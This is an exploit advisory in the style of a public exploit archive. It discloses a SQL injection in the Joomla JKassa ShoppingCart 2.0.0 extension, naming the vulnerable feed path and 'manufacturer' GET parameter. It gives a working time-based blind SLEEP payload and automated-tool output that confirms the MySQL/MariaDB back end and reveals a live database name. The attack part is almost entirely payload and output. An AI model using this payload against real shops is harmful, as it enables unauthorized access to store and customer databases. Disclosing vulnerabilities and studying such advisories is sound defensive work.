Joomla JKassa ShoppingCart 2.0.0 SQL Injection Vulnerability

┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐
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┌┘                                      [ Exploits ]                                    ┌┘
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:  Author   : CraCkEr                                                                    :
│  Website  : extensions.joomla.org                                                      │
│  Vendor   : GeneticsPro - jkassa.com                                                   │
│  Software : Joomla JKassa ShoppingCart 2.0.0                                           │
│  Vuln Type: SQL Injection                                                              │
│  Method   : GET                                                                        │
│  Impact   : Database Access                                                            │
│                                                                                        │
│────────────────────────────────────────────────────────────────────────────────────────│
│                              B4nks-NET irc.b4nks.tk #unix                             ┌┘
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:                                                                                        :
│  Release Notes:                                                                        │
│  ═════════════                                                                         │
│  Typically used for remotely exploitable vulnerabilities that can lead to              │
│  system compromise                                                                     │
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Greets:

    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL   
       
  CryptoJob (Twitter) twitter.com/CryptozJob
     
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┌┘                                    © CraCkEr 2022                                    ┌┘
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Path: /shop/men/sweatshirts.feed

GET parameter 'manufacturer' is vulnerable

---
Parameter: manufacturer (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: min_cost=25.6&max_cost=67.74&manufacturer=null) AND (SELECT 8420 FROM (SELECT(SLEEP(5)))bIVQ) AND (1590=1590&attribute=null&_=1664646035244&type=atom
---

[+] Starting the Attack

[INFO] the back-end DBMS is MySQL

web application technology: Nginx, PHP 7.4.16
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

current database: 'jkassa_umarket'